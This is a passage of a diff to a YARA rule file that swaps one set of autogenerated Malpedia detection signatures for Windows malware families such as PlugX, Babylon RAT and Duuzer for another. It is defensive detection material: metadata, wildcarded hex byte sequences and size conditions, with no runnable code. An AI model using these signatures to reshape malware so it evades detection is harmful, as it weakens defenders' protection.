-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.saigon_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satellite_turla_auto.yar#L1-L160"
 		license_url = "N/A"
-		logic_hash = "a5d9048555d265aef66c2410783198e6f4dd9139107e5b71b76341530d3b556c"
+		logic_hash = "5508d48c958832fbb5bd1d9983eb0158b4a79197acb610f43056e5475e8173ec"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164462,32 +171635,38 @@ rule MALPEDIA_Win_Saigon_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7508 ff15???????? 8bd8 4c8d5c2450 8bc3 498b5b20 498b6b28 }
-		$sequence_1 = { 4889442440 488364243800 488364243000 4533c0 488bd3 33c9 }
-		$sequence_2 = { ff15???????? 33ed 488bcb 85c0 }
-		$sequence_3 = { 7459 f60301 742c 418bcf 488bd0 4903cc e8???????? }
-		$sequence_4 = { 488b0d???????? 4c8bc7 33d2 8bd8 ff15???????? eb1e }
-		$sequence_5 = { 4156 4157 4883ec60 4c8bea 488d50c8 4d8bf9 e8???????? }
-		$sequence_6 = { ffd0 85c0 790e 8bc8 }
-		$sequence_7 = { 4c8d8584020000 488d8c2460060000 448bcb 418bd6 e8???????? }
-		$sequence_8 = { 33d2 8d440036 448bc0 448be0 ff15???????? }
-		$sequence_9 = { 8d4f01 448bcf 4c8bc6 894c2428 33c9 33d2 }
+		$sequence_0 = { 0105???????? 81c3b0020000 2945e0 75ae 837dd400 }
+		$sequence_1 = { 51 8d9514fbffff 52 a1???????? }
+		$sequence_2 = { 0108 833e00 7fc7 db46fc }
+		$sequence_3 = { 0105???????? 83c410 29442418 75a9 }
+		$sequence_4 = { 0108 833e00 7c1f 8b542410 }
+		$sequence_5 = { 0105???????? 83c410 29442420 75aa }
+		$sequence_6 = { 0108 833a00 7c23 8b442428 }
+		$sequence_7 = { 0108 833e00 7cc7 7e39 }
+		$sequence_8 = { c645da14 c645db14 e8???????? 83c40c 8d45d0 }
+		$sequence_9 = { c645de47 c645df5b c645e04d c645e160 c645e249 c645e346 c645e44c }
+		$sequence_10 = { 6a0a 50 e8???????? 83c40c 8d45f4 885dfd 50 }
+		$sequence_11 = { 8d7da0 f3ab 8d459c 50 ff15???????? }
+		$sequence_12 = { 3bf8 72ee 6880000000 56 ff15???????? }
+		$sequence_13 = { c645ac05 c645ad07 c645ae07 c645af0b c645b004 c645b10e c645b226 }
+		$sequence_14 = { 7506 46 47 3bf8 }
+		$sequence_15 = { 6a55 8d45b8 6a0c 50 c645b816 }
 
 	condition:
-		7 of them and filesize <147456
+		7 of them and filesize <1040384
 }
-rule MALPEDIA_Win_Babylon_Rat_Auto : FILE
+rule MALPEDIA_Win_Homefry_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "520c4cbb-7168-5cad-9ac5-61fcc34e0523"
+		id = "a10ca8d8-82df-517d-ba70-a87080178507"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.babylon_rat_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.homefry_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "d4eca63a433742f88d4570a738d70afc76a66ddfd0669e9e8d639b4f32143e21"
+		logic_hash = "17959e0d47a35ecd2de71b5f2bf7c90338d7ed773cdd572cf03461913b5cbcc7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164501,34 +171680,34 @@ rule MALPEDIA_Win_Babylon_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff75ec 8908 e8???????? 83c40c 85c0 7407 8b4808 }
-		$sequence_1 = { ff761c 6a44 57 e8???????? 83c418 eb36 6a00 }
-		$sequence_2 = { f6c23e 0f84ac000000 8bc3 83e01a 663bc3 740e 8bc3 }
-		$sequence_3 = { ffb50cffffff ffb5f0feffff e8???????? 8bc8 e8???????? 660f28c8 eb54 }
-		$sequence_4 = { e8???????? 56 e8???????? 59 50 56 8d8dc8fbffff }
-		$sequence_5 = { ff15???????? 50 680a190000 e9???????? e8???????? 8945f8 59 }
-		$sequence_6 = { ff36 0fb6c9 51 ff761c ff7510 ff7508 e8???????? }
-		$sequence_7 = { c645fc01 85c0 7404 8b10 eb02 8bd3 8b45e8 }
-		$sequence_8 = { ff7708 6a77 53 e8???????? ff751c 53 e8???????? }
-		$sequence_9 = { ff7514 ff7510 57 e8???????? 83c40c eb79 53 }
+		$sequence_0 = { e8???????? 4863d5 4803d0 488b05???????? 488917 48630a }
+		$sequence_1 = { 4889b5f0020000 4803cb ff15???????? 85c0 7873 488b95f0020000 }
+		$sequence_2 = { 740f 8bcf 4803cd 7408 }
+		$sequence_3 = { 8b4c2470 ff15???????? 8b4c2478 488905???????? ff15???????? 488b0d???????? }
+		$sequence_4 = { c705????????94000000 ff15???????? 33d2 8d4a02 ff15???????? 488bd8 }
+		$sequence_5 = { e8???????? 84c0 0f8418010000 48833d????????00 48899c24a0000000 4889b424a8000000 7471 }
+		$sequence_6 = { ff15???????? 488bcb ff15???????? 4881c420040000 }
+		$sequence_7 = { 488bc8 e8???????? 84c0 7426 48630d???????? 488bc3 85c9 }
+		$sequence_8 = { e8???????? eb05 e8???????? 84c0 7511 488d0ddd180000 }
+		$sequence_9 = { 483bdd 72d0 488bcf ff15???????? 33c0 488b5c2430 488b6c2438 }
 
 	condition:
-		7 of them and filesize <1604608
+		7 of them and filesize <65536
 }
-rule MALPEDIA_Win_Duuzer_Auto : FILE
+rule MALPEDIA_Win_Karius_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "df8c3768-3cdc-5b0e-a660-661bdb978bfa"
+		id = "ed0a7186-5551-553c-ac59-b131d3af72d8"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.duuzer_auto.yar#L1-L145"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.karius"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.karius_auto.yar#L1-L249"
 		license_url = "N/A"
-		logic_hash = "13aac089d76bc4f63a9fe69893726cbd97eb78875b3161a00634aa641d0ec8d3"
+		logic_hash = "b146425f067402ca1aeb5e04aa4caed2d124eb5c4ba40f66c5f112d8e9115a94"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -164540,37 +171719,49 @@ rule MALPEDIA_Win_Duuzer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83f804 7408 83c8ff e9???????? }
-		$sequence_1 = { 0145f0 1155f4 85c9 7533 }
-		$sequence_2 = { 57 4154 4155 4881ec88080000 488b05???????? 4833c4 }
-		$sequence_3 = { 00f4 c640001c c740008a460323 d188470383ee }
-		$sequence_4 = { 56 57 b830910000 e8???????? }
-		$sequence_5 = { 56 57 b8a0010100 e8???????? }
-		$sequence_6 = { 56 57 488dac2410fcffff 4881ecf0040000 }
-		$sequence_7 = { 01442410 3bfb 75c4 8b4630 }
-		$sequence_8 = { 57 4154 4883ec20 448be2 }
-		$sequence_9 = { 57 4154 4155 4156 4883ec30 488b05???????? }
-		$sequence_10 = { 014dec 83bf8400000000 7708 398780000000 }
-		$sequence_11 = { 57 4154 4155 4883ec20 33f6 488bd9 }
-		$sequence_12 = { 014dec 66837dec00 0f8efc010000 0fbf45ec }
-		$sequence_13 = { 00e0 3541000436 41 0023 }
-		$sequence_14 = { 010b 014e4c 014e48 014e54 }
+		$sequence_0 = { 4c8b8424a0000000 bf01000000 8bd7 498bce ffd3 4183bf8c00000000 }
+		$sequence_1 = { 4d03d6 448bcd 85db 0f8477000000 8bb424b0000000 }
+		$sequence_2 = { 0f84b3000000 458b9f88000000 4d03de 418b5b18 85db }
+		$sequence_3 = { ffd3 4183bf8c00000000 0f84b3000000 458b9f88000000 }
+		$sequence_4 = { 488b05???????? 4885c0 7512 ff15???????? 488905???????? }
+		$sequence_5 = { 8bb424b0000000 418b10 8bcd 4903d6 0fb602 }
+		$sequence_6 = { c3 85c0 7505 e8???????? b801000000 }
+		$sequence_7 = { 85db 0f849d000000 41837b1400 0f8492000000 }
+		$sequence_8 = { 0f8492000000 458b4320 458b5324 33ed 4d03c6 4d03d6 }
+		$sequence_9 = { 8d7b01 448bfb 448be3 4885c9 }
+		$sequence_10 = { 56 be???????? 33d2 8a040a 3a06 7522 }
+		$sequence_11 = { 83e830 89450c db450c 8a07 d9ca d8c9 }
+		$sequence_12 = { b801000000 8702 83f801 74f4 }
+		$sequence_13 = { 752c 8a4701 3c30 7c25 3c39 }
+		$sequence_14 = { 488d4b10 488d542450 41b804000000 c6430f68 }
+		$sequence_15 = { 4d8bcf 33d2 41b800001000 488bce }
+		$sequence_16 = { 803e5d 7508 5f 5b 8d4601 5e }
+		$sequence_17 = { 7505 8d7b02 eb09 6685c0 }
+		$sequence_18 = { 8d7308 56 ffd7 50 56 e8???????? }
+		$sequence_19 = { ff15???????? 4c8be8 498bce ff15???????? 4d85ed }
+		$sequence_20 = { 8b4dfc 83c404 8945f4 83c706 050024ffff }
+		$sequence_21 = { 4d8bc7 488bd0 488bce ff15???????? }
+		$sequence_22 = { e9???????? 8b45f8 5f 5b 5e }
+		$sequence_23 = { 8b4508 85c0 7417 8b4008 85c0 7412 8b4d0c }
+		$sequence_24 = { 7405 f60001 7502 33c0 }
+		$sequence_25 = { 448bc0 33d2 488bce ff15???????? 4c8bf0 4885c0 }
+		$sequence_26 = { 48895c2420 4d8bcc 4d8bc7 488bd0 }
 
 	condition:
-		7 of them and filesize <491520
+		7 of them and filesize <434176
 }
-rule MALPEDIA_Win_Icexloader_Auto : FILE
+rule MALPEDIA_Win_Mqsttang_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f5f07cf1-ebb8-58bc-85cf-c8730868788c"
+		id = "37b83f83-ada9-5cb9-9846-c597be16b8c2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icexloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.icexloader_auto.yar#L1-L133"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mqsttang"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mqsttang_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "3e81383223a4cc1ff73f88f3e7f296bd8191bce05edbae01407537facee45b04"
+		logic_hash = "816bebdcfc28d4925b60f084aa814ab97a3079e189efd77c5fe0d0005fa07653"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164584,32 +171775,32 @@ rule MALPEDIA_Win_Icexloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 750c 83caff 85c9 7405 8b01 8d50ff 8b4508 }
-		$sequence_1 = { 8985acfeffff 8b85c4feffff 8b10 894c2408 8b8db4feffff 890424 894c2404 }
-		$sequence_2 = { 8b4520 8910 c745e001000000 eb0a 90 eb07 90 }
-		$sequence_3 = { e8???????? ba04000000 0fb7c0 40 8985d0e6ffff 8b85e4e6ffff e8???????? }
-		$sequence_4 = { c705????????04000000 66c705????????1903 c605????????01 c705????????14000000 c705????????e0d74300 c705????????aa914200 }
-		$sequence_5 = { 55 ba7c000000 89e5 56 53 83ec30 894de4 }
-		$sequence_6 = { c705????????00d44300 c705????????95904200 c705????????18e44300 c605????????01 c705????????00000000 c705????????80d44300 c705????????9d904200 }
-		$sequence_7 = { 83bd14ffffff00 7405 e8???????? e8???????? 8b8d64feffff e8???????? e8???????? }
-		$sequence_8 = { 57 56 89d6 ba01000000 53 89cb 83ec2c }
-		$sequence_9 = { b8???????? e8???????? ba0c000000 8d45a4 e8???????? ba???????? b9???????? }
+		$sequence_0 = { f20f2ac0 f20f5905???????? 660f28c8 660f54ca 660f2ed9 7629 f20f58cb }
+		$sequence_1 = { f0832801 8b85c0fdffff 0f845a010000 8b85b4fdffff 89780c 8b400c 85c0 }
+		$sequence_2 = { e9???????? 89c7 89d9 89fb e8???????? 89f1 e8???????? }
+		$sequence_3 = { ff5074 8b03 83ec04 89d9 8b707c ff5078 890424 }
+		$sequence_4 = { e9???????? c74424240a030000 c744242001000000 e9???????? c74424240b030000 c744242000000000 e9???????? }
+		$sequence_5 = { e8???????? e9???????? c744240405000000 c70424???????? e8???????? 8d5de4 8b4dd4 }
+		$sequence_6 = { e8???????? 8d4c247c e8???????? 8d8c2480000000 e8???????? 8d8c2484000000 e8???????? }
+		$sequence_7 = { f6040e10 7441 83c002 47 894338 39bdd8aeffff 77c7 }
+		$sequence_8 = { f30f11442430 f20f115c2428 f30f11542420 f30f114c2418 e8???????? f20f106c2438 f20f105c2428 }
+		$sequence_9 = { e9???????? c744240cffffffff c7442408???????? 89542404 03400c 890424 e8???????? }
 
 	condition:
-		7 of them and filesize <656384
+		7 of them and filesize <12651520
 }
-rule MALPEDIA_Win_Adhubllka_Auto : FILE
+rule MALPEDIA_Win_Bouncer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e0dcc0bf-7466-5a17-86c8-1be553373dbc"
+		id = "87d70146-e2c3-5ac4-84a7-b98c5e250ffd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adhubllka"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.adhubllka_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bouncer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bouncer_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "f57dac34b065a20905904e9bce7c25f2f5dcbcedcfe53619de18c646a0c360a6"
+		logic_hash = "5df724a9e6c42e3be58b79859bcd4fd49abf6f303058e1f4cc9822918e05c24a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164623,32 +171814,32 @@ rule MALPEDIA_Win_Adhubllka_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 8d8d60ffffff e8???????? 0f108560ffffff be18000000 0f1185c0feffff }
-		$sequence_1 = { 0f104590 0f118540ffffff 0f1045a0 0f118550ffffff e8???????? 83c404 8d8d60ffffff }
-		$sequence_2 = { 894d9c 8b4dbc 89458c 8b45c4 897d98 8b7dc0 }
-		$sequence_3 = { 7410 f745d800000002 7407 b801000000 eb02 33c0 }
-		$sequence_4 = { 03c2 898534ffffff 33c7 c1c008 898520ffffff 03c1 8b4ddc }
-		$sequence_5 = { 0fb605???????? c1e108 0bc8 0fb605???????? c1e108 0bc8 }
-		$sequence_6 = { e8???????? 83c404 0f57c0 660f138424501a0000 6a02 }
-		$sequence_7 = { 8d8d60ffffff e8???????? 8d8d60ffffff e8???????? 0f108560ffffff be04000000 0f118510ffffff }
-		$sequence_8 = { 0f1f440000 8b5cbc48 53 ff15???????? 83f801 }
-		$sequence_9 = { ffb590fdffff ff15???????? 85c0 0f8481fdffff 56 e8???????? }
+		$sequence_0 = { 53 be???????? 83ec34 6a0d 59 8bfc }
+		$sequence_1 = { a1???????? 56 3bc3 7422 }
+		$sequence_2 = { 8dbda6f8ffff 33f6 f3ab 66ab 6a1e 8d45a8 56 }
+		$sequence_3 = { e8???????? 83c414 397e18 0f85ce020000 3bc3 7d50 33c9 }
+		$sequence_4 = { 3bc3 0f84870e0000 50 ff15???????? }
+		$sequence_5 = { 8bec 81ec14040000 53 56 57 6a40 ff15???????? }
+		$sequence_6 = { 8d8534ffffff 57 50 e9???????? }
+		$sequence_7 = { 56 be???????? 57 56 e8???????? 8bd8 c7042499050000 }
+		$sequence_8 = { 8945d0 0f8e740e0000 8d85a0fcffff 50 ff75fc e8???????? }
+		$sequence_9 = { 897db0 8975c4 ff750c 8975bc 8975c0 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <335872
 }
-rule MALPEDIA_Win_Nitol_Auto : FILE
+rule MALPEDIA_Win_Rhttpctrl_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "198cac67-df3a-5f33-8def-8dcd3146a557"
+		id = "22fa66be-3212-5731-af64-75e4d7422a17"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nitol_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhttpctrl"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhttpctrl_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "e9d7d8e217f108c3161acd931dc4e0ba15adf22ad1ef941917cfc7f75a6244b1"
+		logic_hash = "1c3d2b43c54e91473434d199f4328e6fb482c73192965602da658da1f5036d20"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164662,34 +171853,34 @@ rule MALPEDIA_Win_Nitol_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8945d0 885dd4 c645d506 ffd6 668945d6 }
-		$sequence_1 = { 50 ff15???????? 6860ea0000 8945f8 66895de8 e8???????? 59 }
-		$sequence_2 = { ff742430 ffd7 8d442430 55 50 53 56 }
-		$sequence_3 = { 7424 48 0f85c0fdffff 6a01 }
-		$sequence_4 = { 8b35???????? 833d????????01 7465 ffd6 6a0a 99 59 }
-		$sequence_5 = { 8bf8 8bcf 8b07 ff5068 85c0 8945ec 7457 }
-		$sequence_6 = { 7524 8d8594feffff 50 8d8514ffffff 50 8d8514faffff 68???????? }
-		$sequence_7 = { 7419 4a 7416 4a 7406 c6043778 eb1b }
-		$sequence_8 = { 53 ff15???????? e9???????? 6a40 33c0 }
-		$sequence_9 = { ff15???????? 53 8d8df8fcffff 6a0a }
+		$sequence_0 = { e8???????? 83c404 833d????????ff 7533 ff15???????? 68???????? c705????????dcfb4100 }
+		$sequence_1 = { e8???????? 8b404c 83b8a800000000 750e 8b04bd30424200 807c302900 741d }
+		$sequence_2 = { ffb5dcfbffff c785d8fbffff10fc4100 ff15???????? 33c0 }
+		$sequence_3 = { c645d800 68???????? 8d45d8 660fd645e9 }
+		$sequence_4 = { 8be5 5d c3 68???????? ff15???????? 833d????????00 b301 }
+		$sequence_5 = { 3bf1 756e 8b4bf0 8d73f0 8b01 ff5010 397e0c }
+		$sequence_6 = { 8b08 85c9 7407 395004 }
+		$sequence_7 = { 50 8d842498000000 50 e8???????? 83cbff 85c0 }
+		$sequence_8 = { 50 56 ff15???????? 85c0 7536 8b4714 8b35???????? }
+		$sequence_9 = { 57 e8???????? ffb5f8feffff 8d85fcfeffff 50 }
 
 	condition:
-		7 of them and filesize <139264
+		7 of them and filesize <339968
 }
-rule MALPEDIA_Win_Ariabody_Auto : FILE
+rule MALPEDIA_Win_Plugx_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "58204a37-6e57-54ad-a9ad-f1e207420b64"
+		id = "f3050f8b-cffb-5dba-854a-dbf0ccdc7dc1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ariabody"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ariabody_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.plugx_auto.yar#L1-L275"
 		license_url = "N/A"
-		logic_hash = "eeda1b828c38fb501f5c05c0fadc1525e86a5abb54edde2f591e92fd62c5dd82"
+		logic_hash = "dee163361f083ebb03bd1347d736d4fc9d87c0c2c6fd15ac5989d8dd6f5a5f80"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -164701,38 +171892,53 @@ rule MALPEDIA_Win_Ariabody_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb13 8b16 8bcf e8???????? 8906 85c0 }
-		$sequence_1 = { 8bcf 0fb6c0 50 ff75fc e8???????? }
-		$sequence_2 = { 7402 32c3 88040a 41 }
-		$sequence_3 = { 8a01 84c0 7406 3ac3 7402 }
-		$sequence_4 = { 56 8d0c30 ffd1 8bc6 5f }
-		$sequence_5 = { 8bf2 56 8d55fc 03f9 e8???????? 59 85c0 }
-		$sequence_6 = { 83ec50 53 57 8bd9 e8???????? 8bf8 893b }
-		$sequence_7 = { ff5304 8bf8 893e eb13 8b16 8bcf }
-		$sequence_8 = { 33d2 488d8c2498000000 41b800010000 41ffc7 ff9510020000 }
-		$sequence_9 = { 48895c2408 57 4883ec20 4863d9 488d3da4d30000 4803db 48833cdf00 }
-		$sequence_10 = { eb17 83f802 7512 488d4c2430 488d942420060000 e8???????? }
-		$sequence_11 = { 33ff 488d0480 418b4cc60c 418b54c614 4903cc 458b44c610 4803d3 }
-		$sequence_12 = { e8???????? 3d5595db6d 741d 4d8b7f18 }
-		$sequence_13 = { 41b820000000 488d942444010000 4c8d8c2468010000 48c7402000000000 41ff96d0000000 85c0 7429 }
-		$sequence_14 = { 4c89e1 4533c9 8b942464010000 41ff96c0000000 4889e0 4c89e1 41b820000000 }
-		$sequence_15 = { 8b0b e8???????? 48630b 4c8d2dd59f0000 488bc1 }
+		$sequence_0 = { 51 56 57 6a1c 8bf8 }
+		$sequence_1 = { 33d2 f7f3 33d2 8945fc }
+		$sequence_2 = { 55 8bec a1???????? 83ec5c 53 }
+		$sequence_3 = { 55 8bec 51 0fb74612 }
+		$sequence_4 = { 51 53 6a00 6a00 6a02 ffd0 85c0 }
+		$sequence_5 = { 41 3bca 7ce0 3bca }
+		$sequence_6 = { 56 8b750c 8b4604 050070ffff }
+		$sequence_7 = { 6a00 6800100000 6800100000 68ff000000 6a00 6803000040 }
+		$sequence_8 = { e8???????? 3de5030000 7407 e8???????? }
+		$sequence_9 = { e8???????? 85c0 7508 e8???????? 8945fc }
+		$sequence_10 = { 50 ff15???????? a3???????? 8b4d18 }
+		$sequence_11 = { 85c0 7413 e8???????? 3de5030000 }
+		$sequence_12 = { e8???????? 85c0 7407 b84f050000 }
+		$sequence_13 = { e8???????? 85c0 750a e8???????? 8945fc }
+		$sequence_14 = { 6a00 6a04 6a00 6a01 6800000040 57 }
+		$sequence_15 = { 6a00 6819000200 6a00 6a00 6a00 51 }
+		$sequence_16 = { 56 56 6a01 56 ffd0 }
+		$sequence_17 = { 85c0 750d e8???????? 8945f4 }
+		$sequence_18 = { 57 e8???????? eb0c e8???????? }
+		$sequence_19 = { 50 ff75e8 6802000080 e8???????? }
+		$sequence_20 = { 6a00 ff7028 e8???????? 83c408 85c0 }
+		$sequence_21 = { 6808020000 6a00 ff742450 e8???????? 83c40c }
+		$sequence_22 = { 6a02 6a00 e8???????? c705????????00000000 }
+		$sequence_23 = { 6800080000 68???????? e8???????? 6800080000 68???????? e8???????? }
+		$sequence_24 = { 5e 5f 5b 5d c3 64a118000000 }
+		$sequence_25 = { 81ec90010000 e8???????? e8???????? e8???????? }
+		$sequence_26 = { 68???????? 6830750000 68e8030000 ff36 }
+		$sequence_27 = { 5f 5b 5d c20400 55 53 57 }
+		$sequence_28 = { 50 56 ffb42480000000 ff15???????? }
+		$sequence_29 = { 6808020000 6a00 ff74242c e8???????? }
+		$sequence_30 = { 6a01 6a00 e8???????? a3???????? 6800080000 }
 
 	condition:
-		7 of them and filesize <253952
+		7 of them and filesize <1284096
 }
-rule MALPEDIA_Win_Ksl0T_Auto : FILE
+rule MALPEDIA_Win_Donot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5a4c8dc6-6c96-5c41-9019-3d4bc785a54b"
+		id = "38387986-3cf2-52ef-b35f-48e7a3ada73a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ksl0t_auto.yar#L1-L172"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.donot_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "5f184f0ae6eb14c42a9f8143b74f6a69a5bb90e2ed5eff63faec19a839c8988a"
+		logic_hash = "856eb217efb67c7a23eb4ad0af50dccbe8bb723a98d81632999df9a793bf3e4e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -164746,38 +171952,32 @@ rule MALPEDIA_Win_Ksl0T_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 83c40c 3bf7 7515 ff15???????? }
-		$sequence_1 = { c68424a100000039 c68424a200000039 888c24a3000000 c684248000000026 }
-		$sequence_2 = { c684241001000006 88842411010000 889c2412010000 c684241301000013 }
-		$sequence_3 = { 68???????? 8d8d00080000 51 ff15???????? 8d9500080000 52 }
-		$sequence_4 = { ff942418040000 4c8bd8 488b842420040000 4c899878010000 488d542468 }
-		$sequence_5 = { c68424f600000034 c68424f700000038 c68424f800000030 c68424f900000002 c68424fa00000055 c644245813 c64424593c }
-		$sequence_6 = { c684245a01000021 c684245b01000018 c684245c01000030 c684245d01000026 c684245e01000026 c684245f01000034 }
-		$sequence_7 = { 4881c294000000 41b801000000 488d0dd7e60000 ff15???????? }
-		$sequence_8 = { 8d94241c030000 52 53 89466c ffd7 894670 }
-		$sequence_9 = { 3bcf 7518 81fa00010000 7510 }
-		$sequence_10 = { c684248800000002 c684248900000055 c684241801000000 c68424190100003b c684241a0100003d c684241b0100003a }
-		$sequence_11 = { 84c0 745a 68???????? 68???????? ff15???????? 68???????? 68???????? }
-		$sequence_12 = { 488bce 488905???????? ff15???????? 488bc8 e8???????? 488d1592280000 488bce }
-		$sequence_13 = { ff15???????? 8bf0 6800020000 57 8d95000d0000 52 ff15???????? }
-		$sequence_14 = { 7509 488d0de2450000 eb02 33c9 e8???????? 4883c438 c3 }
-		$sequence_15 = { c68424f801000038 c68424f901000034 c68424fa01000039 c68424fb01000039 c68424fc0100003a }
+		$sequence_0 = { 8b04c580b80310 5d c3 33c0 }
+		$sequence_1 = { c7461400000000 0f1106 f30f7e45e4 660fd64610 c745e400000000 c745e80f000000 85d2 }
+		$sequence_2 = { 03d3 d1fa 8d4102 894738 8b4710 8918 8b4720 }
+		$sequence_3 = { e8???????? 8b15???????? b910000000 2bd6 8a0432 8d7601 3046ff }
+		$sequence_4 = { 7361 8bc6 8bde 83e03f c1fb06 6bc838 8b049d187b0410 }
+		$sequence_5 = { c645fc02 8d4dbc e8???????? 8bf8 83c404 3bf7 7465 }
+		$sequence_6 = { 0f438540ffffff 50 ff15???????? c645fc1b 8b559c 83fa10 722c }
+		$sequence_7 = { c6861002000000 8b8e0c020000 83f910 722f 8b86f8010000 41 81f900100000 }
+		$sequence_8 = { c685bcedffff00 8d5101 8a01 41 84c0 75f9 }
+		$sequence_9 = { c6863801000000 8b8e34010000 83f910 722f 8b8620010000 41 81f900100000 }
 
 	condition:
-		7 of them and filesize <196608
+		7 of them and filesize <626688
 }
-rule MALPEDIA_Win_Jssloader_Auto : FILE
+rule MALPEDIA_Win_C0D0So0_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e1eaf0bc-7617-5378-87a8-cba9c6423b69"
+		id = "7fd27b52-4a26-50f0-a471-2ac29e8cd05c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jssloader"
